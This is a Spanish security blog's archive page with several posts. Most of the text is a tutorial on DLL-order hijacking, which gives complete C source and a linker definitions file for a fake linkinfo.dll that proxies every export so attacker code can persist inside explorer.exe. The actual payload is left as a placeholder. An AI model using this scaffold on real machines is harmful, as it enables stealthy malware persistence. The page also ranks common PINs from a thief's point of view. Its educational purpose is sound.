Reto de reversing

En la entrada de hoy les proponemos un reto dirigido a los aficionados a la ingeniería inversa.

Para participar, pueden descargar el siguiente binario. Se trata de un ejecutable PE para Windows 32-bit que contiene un algoritmo de validación de números de serie:

Los números de serie están formados por 16 dígitos numéricos, pudiendo tomar cada uno de ellos un valor entre 0 y 9. El objetivo del reto es obtener un número de serie válido sin modificar el binario (es decir, se trata de obtener la segunda de las salidas del pantallazo anterior sin necesidad de manipular el programa; tan sólo hallando el mecanismo de validación con ingeniería inversa).

Esperamos que disfruten del reto. ¡Un saludo!

Enlaces de interés:

Criptorrelojes de arena

[Read more…]

Ilustrando el «DLL-order hijacking»

Cuando un sistema Windows requiere cargar una DLL, la busca en los siguientes directorios por orden:

  • El directorio donde reside la imagen del proceso que carga la DLL; por ejemplo, si el ejecutable reside en C:\WINDOWS, intentará cargar la DLL desde ese directorio.
  • El directorio actual.
  • El directorio de sistema (normalmente C:\WINDOWS\SYSTEM32).
  • El directorio de sistema para 16-bit (normalmente C:\WINDOWS\SYSTEM).
  • El directorio de Windows (normalmente C:\WINDOWS).
  • Los directorios listados en la variable de entorno PATH.

Este hecho se puede explotar ubicando una DLL maliciosa con el mismo nombre que la DLL legítima en una posición más prioritaria dentro del orden de búsqueda anterior. Por ejemplo, si se sabe que un proceso ubicado en C:\WINDOWS carga la DLL foo.dll, que normalmente está ubicada en C:\WINDOWS\SYSTEM32, y se ubica una versión maliciosa de la DLL con el mismo nombre foo.dll en C:\WINDOWS, que está antes en el orden de búsqueda para la carga, se cargará la versión maliciosa, y no la versión legítima. Este ataque es conocido como «DLL-order hijacking» (algo así como «secuestro en el orden de la DLLs»).

Para tratar de contrarestar este tipo de ataques, Microsoft introdujo en el registro la familia de claves KnownDLLs, que permiten fijar «a fuego» la ruta absoluta de ciertas DLLs, para que sólo puedan cargarse desde sus ubicaciones legítimas. Sin embargo, tal como ilustra la siguiente captura de pantalla, no todas las DLLs habituales están presentes por defecto en este tipo de claves:

Además, aunque una DLL determinada esté presente en KnownDLLs, las DLLs dependientes de la misma (y, a su vez, las dependientes de éstas, etc.), podrían cargar otras DLLs que sí sean «secuestrables», por lo que en la práctica el mecanismo no es demasiado efectivo.

El «DLL-order hijacking» es utilizado por diversos ejemplares de malware como mecanismo de persistencia. Basta con buscar un proceso residente de forma permanente e inspeccionar las DLLs que importa. Si alguna de estas DLLs no se encuentra presente en KnownDLLs y se dispone de los privilegios en el sistema necesarios para escribir en alguno de los directorios anteriores en el orden de búsqueda, el proceso residente cargará la DLL maliciosa en su espacio de direccionamiento, ejecutando el código malintencionado.

En la presente entrada nos pondremos el sombrero de escritores de malware, y veremos cómo podemos lograr esta persistencia mediante la técnica. El primer paso consiste en localizar un proceso que esté presente en el sistema de forma (casi) permanente. El escogido para la ocasión es explorer.exe, y la DLL víctima será linkinfo.dll, que se carga de forma indirecta a través de shell32.dll. Esta DLL es de hecho utilizada por varios «bichos» reales, y está ubicada en el directorio de sistema (normalmente C:\WINDOWS\SYSTEM32).

Por lo tanto, si ubicamos una DLL maliciosa con el mismo nombre en C:\WINDOWS, nuestro código estará presente en el sistema de forma permanente. Sólo resta por solucionar un problema: ¿qué ocurre con las llamadas legítimas que se hagan a las funciones que exporta linkinfo.dll? Claramente, si ubicamos nuestra DLL en una posición anterior en el orden de búsqueda, la DLL legítima no se cargará, y toda la funcionalidad que se utilice de la misma quedará en el limbo. Esto podría suponer desde «nada» (al menos aparentemente) hasta un «cuelgue» de explorer.exe o algo peor (si algún otro proceso carga la DLL de forma directa o indirecta). Por ello, es necesario exportar desde nuestra DLL las mismas funciones que exporta linkinfo.dll, y cuando algún proceso realice una llamada a alguna de ellas, redirigir la llamada a la versión legítima de la función (lo que habitualmente se suele denominar hookear las funciones).

El primer paso pues consiste en escribir el código inicial de la DLL maliciosa. El punto de entrada de la DLL es el habitual

#define UNICODE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define DEBUG(x) MessageBox(NULL, x, L"fake_linkinfo", 0)

BOOL WINAPI __declspec(dllexport)
LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
			DEBUG(L"Se carga la DLL maliciosa");
                        //
                        // AQUI INCLUIRIAMOS EL CODIGO MALICIOSO, LANZANDOLO
                        // NORMALMENTE EN DIFERENTES HILOS DE EJECUCION
                        //
			return SetLegitModule();
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Observar que exportamos la función con dllexport. Normalmente, se iniciaría la funcionalidad del malware en diferentes hilos de ejecución mediante CreateThread() en el momento de carga de la DLL. Como valor de retorno del «attach» llamamos a la función SetLegitModule, que guarda el manejador asociado a la linkinfo.dll legítima en la variable global LegitLinkInfo, tal como se muestra a continuación:

HMODULE LegitLinkinfo;

BOOLEAN SetLegitModule()
{
#define MAXLEN 200
	WCHAR szSystemDirectory[MAXLEN + 1];
	WCHAR szLinkinfo[] = L"\\linkinfo.dll";

	DEBUG(L"Obteniendo la ruta absoluta de linkinfo.dll");
	int ret = GetSystemDirectoryW(szSystemDirectory, MAXLEN);
	if ((ret > MAXLEN) || (ret == 0))
		return FALSE;

        // ES UN PoC, NO BUSQUEIS B0FS!! ;-)
	int LinkinfoLen = wcslen(szLinkinfo);
	int SystemDirectoryLen = wcslen(szSystemDirectory);
	if ((SystemDirectoryLen + LinkinfoLen) > MAXLEN)
		return FALSE;
	wcsncat(szSystemDirectory, szLinkinfo, MAXLEN - SystemDirectoryLen);
	DEBUG(szSystemDirectory);

	DEBUG(L"Cargando linkinfo.dll en la DLL maliciosa");
	LegitLinkinfo = LoadLibraryW(szSystemDirectory);
	if (LegitLinkinfo == NULL)
		return FALSE;
	return TRUE;
}

Básicamente, la función halla el directorio de sistema con GetSystemDirectoryW() (C:\WINDOWS\SYSTEM32) y le sufija la ruta relativa de la DLL (\linkinfo.dll). A continuación, se carga la DLL (LoadLibraryW()) y se almacena el manejador devuelto en la variable global.

El siguiente paso es obtener las funciones que exporta linkinfo.dll para poder hookearlas. Los nombres están claros; figuran en la cabecera PE:

Los prototipos de las funciones (sus argumentos y valor de retorno) suelen estar documentados, de una u otra forma, en ficheros de cabecera o en la MSDN, pero en el caso de linkinfo.dll no hemos sido capaces de encontrar la documentación. Afortunadamente, la tarea no es demasiado complicada con la ayuda de IDA Pro. Por ejemplo, desensamblando la función CreateLinkInfoW(), obtenemos sus parámetros y valor de retorno:

En este caso, el prototipo sería el siguiente:

int CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2);

y ésta sería la forma de hookear la función en nuestra DLL maliciosa:

extern __declspec(dllexport) int __stdcall CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoW");
	return func(lpMultiByteStr, a2);
}

De nuevo, exportamos la función desde la DLL (dllexport). En primer lugar, se declara un puntero a función del mismo tipo, que albergará la dirección de memoria de la función legítima que obtenemos con la función auxiliar LegitProcName(). Como se observa, no hacemos más que devolver el valor que devuelva la llamada a la función legítima, con los mismos argumentos con los que se ha llamado a nuestra función maliciosa. En realidad, si fuera de alguna utilidad para el malware, podríamos ponernos «en medio», y aprovechar la información proporcionada por el hecho de que hemos sido llamados para llevar a cabo acciones específicas, si fuera de interés y tuviera sentido. La función LegitProcName() simplemente halla la dirección de la función legítima que se le indique como primer parámetro con la función GetProcAddress() y la variable global en la que se almacenó al inicio de la ejecución del malware el módulo de la linkinfo.dll legítima:

HMODULE __stdcall LegitProcName(LPCSTR lpProcName)
{
	return GetProcAddress(LegitLinkinfo, lpProcName);
}

Una vez hemos hookeado las demás funciones exportadas por linkinfo.dll, podemos copiar la DLL maliciosa a C:\WINDOWS (o el directorio de Windows concreto de nuestro sistema), terminar el proceso explorer.exe y volverlo a lanzar; veremos que el código malicioso se está ejecutando:

Incluimos a continuación el resto de funciones hookeadas y el fichero de definiciones necesario para enlazar la DLL exportando las funciones maliciosas. Esperamos que la entrada os haya gustado (por favor, comentadnos cualquier error o imprecisión que observeis). ¡Hasta la próxima!

#define UNICODE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define DEBUG(x) MessageBox(NULL, x, L"fake_linkinfo", 0);

HMODULE LegitLinkinfo;

BOOLEAN SetLegitModule()
{
#define MAXLEN 200
	WCHAR szSystemDirectory[MAXLEN + 1];
	WCHAR szLinkinfo[] = L"\\linkinfo.dll";

	DEBUG(L"Obteniendo la ruta absoluta de linkinfo.dll");
	int ret = GetSystemDirectoryW(szSystemDirectory, MAXLEN);
	if ((ret > MAXLEN) || (ret == 0))
		return FALSE;

	int LinkinfoLen = wcslen(szLinkinfo);
	int SystemDirectoryLen = wcslen(szSystemDirectory);
	if ((SystemDirectoryLen + LinkinfoLen) > MAXLEN)
		return FALSE;
	wcsncat(szSystemDirectory, szLinkinfo, MAXLEN - SystemDirectoryLen);
	DEBUG(szSystemDirectory);

	DEBUG(L"Cargando linkinfo.dll en la DLL maliciosa");
	LegitLinkinfo = LoadLibraryW(szSystemDirectory);
	if (LegitLinkinfo == NULL)
		return FALSE;
	return TRUE;
}

HMODULE __stdcall LegitProcName(LPCSTR lpProcName)
{
	return GetProcAddress(LegitLinkinfo, lpProcName);
}

extern __declspec(dllexport) int __stdcall CompareLinkInfoReferents(int a1, int a2)
{
	int (*func)(int a1, int a2);
	func = LegitProcName("CompareLinkInfoReferents");
	return func(a1, a2);
}

extern __declspec(dllexport) int __stdcall CompareLinkInfoVolumes(int a1, int a2)
{
	int (*func)(int a1, int a2);
	func = LegitProcName("CompareLinkInfoVolumes");
	return func(a1, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfo(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfo");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfoA(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoA");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoW");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall DestroyLinkInfo(int a1)
{
	int (*func)(int a1);
	func = LegitProcName("DestroyLinkInfo");
	return func(a1);
}

extern __declspec(dllexport) int __stdcall DisconnectLinkInfo(int a1)
{
	int (*func)(int a1);
	func = LegitProcName("DisconnectLinkInfo");
	return func(a1);
}

extern __declspec(dllexport) int __stdcall IsValidLinkInfo(int a1)
{
	//DEBUG(L"Se entra en el IsValidLinkInfo() malicioso");
	int (*func)(int a1);
	func = LegitProcName("IsValidLinkInfo");
	int ret = func(a1);
	//DEBUG(L"Se sale del IsValidLinkInfo() malicioso");
	return ret;
}

extern __declspec(dllexport) int __stdcall
GetLinkInfoData(int a1, int a2, int a3)
{
	int (*func)(int a1, int a2, int a3);
	func = LegitProcName("GetLinkInfoData");
	return func(a1, a2, a3);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfo(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfo");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfoA(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfoA");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfoW(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfoW");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfo(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfo");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfoA(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfoA");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfoW(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfoW");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

BOOL WINAPI __declspec(dllexport)
LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
			DEBUG(L"Se carga la DLL maliciosa");
			return SetLegitModule();
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Fichero de definiciones para el linker:

LIBRARY fake_linkinfo
EXPORTS
	CompareLinkInfoReferents
	CompareLinkInfoVolumes
	CreateLinkInfo
	CreateLinkInfoA
	CreateLinkInfoW
	DestroyLinkInfo
	DisconnectLinkInfo
	IsValidLinkInfo
	GetLinkInfoData
	GetCanonicalPathInfo
	GetCanonicalPathInfoA
	GetCanonicalPathInfoW
	ResolveLinkInfo
	ResolveLinkInfoA
	ResolveLinkInfoW

Deserializando objetos Java sin los .class

En una auditoría que llevamos a cabo recientemente, surgió la necesidad de inspeccionar el contenido de ciertos ficheros en formato binario, que a todas luces se trataba de objetos Java serializados:

$ file serialized.bin 
serialized.bin: Java serialization data, version 5

En efecto, los dos primeros bytes eran el magic number de este tipo de ficheros:

0000000 edac 0500 ...
0000010 ...
0000020 ...
0000030 ...
0000040 ...

pero los objetos serializados debían ser relativamente complejos, por lo que un mero strings sobre el fichero no nos ayudaba a “descifrar” la información.

[Read more…]

Estadística del PIN

Si un ladrón nos robara la tarjeta de crédito, y sin contar con ningún tipo de información adicional (como nuestra fecha de nacimiento o la de nuestros familiares, nuestro número de teléfono, DNI, etc.), ¿qué números PIN debería probar en el cajero más próximo para tener la mayor probabilidad de quedarse con nuestro dinero?

En general, “se sabe” que ciertas contraseñas son escogidas con más frecuencia que otras, y por supuesto los números PIN no son una excepción. Recientemente, la gente de DataGenetics ha publicado PIN number analysis, que echa un poco de luz “cuantitativa” sobre este tema.

Básicamente, se han dedicado a recopilar fugas de información de entidades bancarias, reuniendo una muestra con la friolera de 3,4 millones de PIN reales de 4 cifras. Los resultados coinciden, por desgracia, con la creencia común; el más frecuente el “1234”, seguido por el “1111” y el “0000”:

PIN Frecuencia
#1 1234 10,713%
#2 1111 6,016%
#3 0000 1,881%
#4 1212 1,197%
#5 7777 0,745%
#6 1004 0,616%
#7 2000 0,613%
#8 4444 0,526%
#9 2222 0,516%
#10 6969 0,512%
#11 9999 0,451%
#12 3333 0,419%
#13 5555 0,395%
#14 6666 0,391%
#15 1122 0,366%
#16 1313 0,304%
#17 8888 0,303%
#18 4321 0,293%
#19 2001 0,290%
#20 1010 0,285%

(Fuente: PIN number analysis)

Probando el PIN “1234” sobre una tarjeta de crédito robada de entre la muestra, el ladrón del que hablábamos tendría un 10,713% de probabilidades de acertar a priori: aproximadamente 1 de cada 10 veces. Como los anteriores 20 números más frecuentes suponen un 26,832% del total, probándolos todos la probabilidad de acierto sería mayor que 1 de cada 4 veces.

Otras curiosidades: números que son más fáciles de escribir en un teclado telefónico (el empleado en los cajeros), como el “2580”, son más frecuentes (al ser más fáciles de escribir, también son más fáciles de recordar); los números pares son más frecuentes que los impares; números que empiezan por “19” son más frecuentes que los prefijados por cualquier otro par de números (¿años de nacimiento?); escaleras ascendientes (como “2345”) o descendientes (como “4321”) son más frecuentes que lo que deberían serlo por puro azar, así como repeticiones de pares (“1212”, “2828”), o números empezados por “1” o “0”. Os recomendamos encarecidamente la lectura completa del artículo, donde pueden encontrarse más curiosidades, resultados estadísticos, gráficas, etc.

¿Hasta qué punto los resultados muestrales serían extrapolables a la población de los números PIN de los usuarios de tarjetas de crédito de España? ¿Figura vuestro PIN en el top 20? ¿Y entre los números menos frecuentes? ;-)

Al margen de estas probabilidades “a priori”, cada día colgamos más y más información personal en las redes sociales e Internet en general, y a menudo es fácil obtener la fecha de nacimiento de una persona (o la de sus familiares), su dirección postal, número de móvil, o DNI, a partir de tan sólo su nombre completo, que suele figurar en la propia tarjeta de crédito.

Enlaces

¿Cuál es el mensaje oculto? (Solución)

Y bien; ¿cuál es el mensaje oculto? :-)

En principio, la imagen no parece más que ruido blanco. ¿Podría tratarse entonces de un reto de esteganografía, como el publicado hace poco? Esperamos que hayáis probado unas cuantas técnicas, pero no es el caso :-)

Un detalle curioso, si revisamos el código fuente de la página, es que la imagen la “devuelve” un script en PHP; no es un simple enlace a un fichero JPG o PNG estático. Tratándose éste de un blog sobre seguridad, y dado que lo que ahora está “de moda” es la seguridad web, sobretodo las inyecciones SQL y similares, esperamos también que hayáis intentado buscarle las cosquillas a ese foo.php. Tampoco va por ahí…

Pero el hecho de que la imagen se genere dinámicamente sí es importante. De hecho, si visitamos la URL de la imagen y le damos varias veces al botón de “refrescar” algo pasa, ¿no? ;-) De vez en cuando sale “algo” como subliminal, y los entrenados en técnicas de lectura rápida (o los aficionados a las pestañas ;-) puede que ya tengan el mensaje oculto en su poder. Pero ¿qué es exactamente lo que produce ese efecto óptico, y cómo podemos hacer que el mensaje se “quede quieto”?

[Read more…]

¿Cuál es el mensaje oculto?

¿Cuál es el mensaje oculto?

La solución (y la explicación) próximamente.

¡Atención, espoilers en los comentarios!

De bricolaje: cortafuegos con OpenBSD y ALIX

Introducción

En la entrada de hoy les proponemos “cacharrear” un poco con OpenBSD, un sabor de UN*X descendiente de 4.4BSD, y ALIX, una placa de bajo consumo fabricada por PC Engines. El objetivo es montar un cortafuegos barato y de bajo consumo.

Ingredientes

La ISO de instalación de OpenBSD 4.9:

$ wget http://mirror.cdmon.com/pub/OpenBSD/4.9/i386/install49.iso

$ sha256sum install49.iso 
5e3f9e961c0f37fd12f2d0719df50cfa9a0fdcac93e337f7bb5a52ea1de0f485  install49.iso

Un placa ALIX 2C3, aunque las instrucciones que siguen deberían funcionar con los demás modelos sin demasiados cambios. El sabor 2C3 lleva una CPU AMD Geode LX800 a 500 MHz, 256 MB de RAM y 3 interfaces Ethernet a 10/100. Además, le podemos pinchar…

… una tarjeta Compact Flash de al menos 512 MB de capacidad. En nuestro caso, hemos utilizado una Kingston de 4 GB.
… un lector/grabador de tarjetas Compact Flash. Hemos utilizado un modelo “todo-en-uno” USB estándar.
… un PC con Linux y qemu, para instalar OpenBSD en la tarjeta. Hemos utilizado un i386 con Debian Squeeze y el qemu de paquete.
… un cable serie (RS-232) “null modem” DB9-DB9 (hembra-hembra), para acceder a la consola de la ALIX desde el PC.

[Read more…]

Sopa de letras

Actualización 22/04/09 12:10h: Ya tienen la solución al pasatiempo al final de la entrada…

(N.d.E.: Aprovechando el día extra que tiene este fin de semana, les dejamos con un pequeño pasatiempo. Son diez palabras sobre un mismo tema. Les adelanto que es difícil y que necesitarán la Wikipedia si no son ustedes Bruce Schneier. Nos vemos el lunes. Cuidado ahí fuera. Ah… esta semana no hay encuesta.)

sopa-letras

[Read more…]

La dificultad de la detección de intrusiones

Supongamos que sospecha padecer una enfermedad que afecta a 1 de cada 1000 habitantes. Para salir de dudas, decide someterse a un test cuya precisión, según su médico, es del 99%, habiendo clasificado como enfermos a 1 de cada 100 pacientes sanos en promedio a lo largo de los años. Para su desgracia, el test resulta positivo. ¿Hasta que punto debería preocuparse? Sorprendentemente, la probabilidad de que realmente usted esté enfermo es tan sólo de aproximadamente el 9%; contrariamente a lo que tenderíamos a pensar, unas 91 personas de cada 100 en su situación estarán sanas pese a haber dado positivo en el test.

Este sesgo en nuestra intuición probabilística, conocido como la falacia de la tasa base, la paradoja del falso positivo, la confusión de la inversa o la falacia de la probabilidad condicional, suele presentarse cuando el índice de incidencia de un suceso (esto es, su probabilidad a priori) es bajo. Y éste es precisamente el caso en el problema de la detección de intrusiones en seguridad informática, como observó el investigador sueco Stefan Axelsson en un artículo de 1999. Veámoslo con un poco más de detalle.

Si llamamos A al suceso “el detector de intrusiones ha emitido una alerta” e I al suceso “se ha producido una intrusión”, tenemos que la probabilidad condicional P(A|I) es la medida de la “precisión” de nuestro detector (la probabilidad de que cuando se produzca una intrusión se emita una alarma), por lo que nos interesa que sea cuanto más alta mejor. Por otro lado, P(A|no I) es la probabilidad de falso positivo: la emisión de una alerta más a atender por parte del personal técnico de seguridad que nos aporta más bien poca información. Obviamente, nos interesa que esa probabilidad sea lo más baja posible.

En el fondo, lo que nos interesa es que el detector de intrusiones sea “efectivo”: que detecte el mayor número de intrusiones pero manteniendo la tasa de falsas alarmas en un nivel aceptable. Nos interesa también que, cuando vemos una alarma, la probabilidad de que corresponda a un ataque, P(I|A), sea lo más alta posible. Relacionando todo lo anterior con ayuda del Teorema de Bayes, tenemos que:

P(I|A) = P(I) x P(A|I) / [ P(I) x P(A|I) + P(no I) x P(A|no I) ]

Como estimación, el detector de intrusiones ubicado en la zona desmilitarizada de un cliente relativamente pequeño ha procesado unos 500 millones de datagramas IP en los últimos 4 meses, a partir de los cuáles ha generado 339 alertas. De esas alertas, 128 se corresponden con ataques reales. Suponiendo una precisión del 100% (que ya es suponer), P(A|I) = 1, tenemos que las intrusiones detectadas son todas las que se han producido, y que la probabilidad de intrusión, tomando 10 datagramas por cada una de ellas, es P(I) = (128*10) / (500*10+6) = 2,56*10-6. Como P(no I) = 1 – P(I) se aproxima mucho a 1, sustituyendo en la anterior ecuación nos queda, aproximadamente:

P(I|A) = 2,56·10-6 x 1 / [ 2,56·10-6 x 1 + 0,99 x P(A|no I) ]

con lo que se observa claramente que el factor dominante es ese 0,99 de P(no I), y que la probabilidad de falso positivo tendría que ser muy baja para contar con una efectividad adecuada. Cualquiera que haya trabajado atendiendo las alertas generadas por un detector de intrusiones actual convendrá en que no es ni mucho menos el caso: la mayor parte del tiempo es dedicado a descartar falsos positivos. La cuestión es: ¿es realmente posible obtener una tasa de falsos positivos tan baja? El tiempo lo dirá, pero a día de hoy la solución quizá pase por facilitarle la vida al técnico de seguridad en forma de herramientas que le faciliten la gestión de las alertas generadas y la consulta de la información necesaria para procesarlas cómodamente.

P.S. La falacia de la probabilidad condicional también es aplicable a otros ámbitos de la seguridad. Por ejemplo, dado el bajo número de población terrorista con respecto a la población total de un país, aun suponiendo que los gobiernos cuentan con herramientas de vigilancia masiva altamente precisas, es difícil que la tasa de falsos positivos (no terroristas identificados como terroristas) sea tan baja como para asegurar una detección eficaz según los parámetros anteriores. Además, ¿cuál sería el coste de ser clasificado como un terrorista cuando no lo eres? ¿Y el de la pérdida de derechos civiles asociada a ese tipo de vigilancia?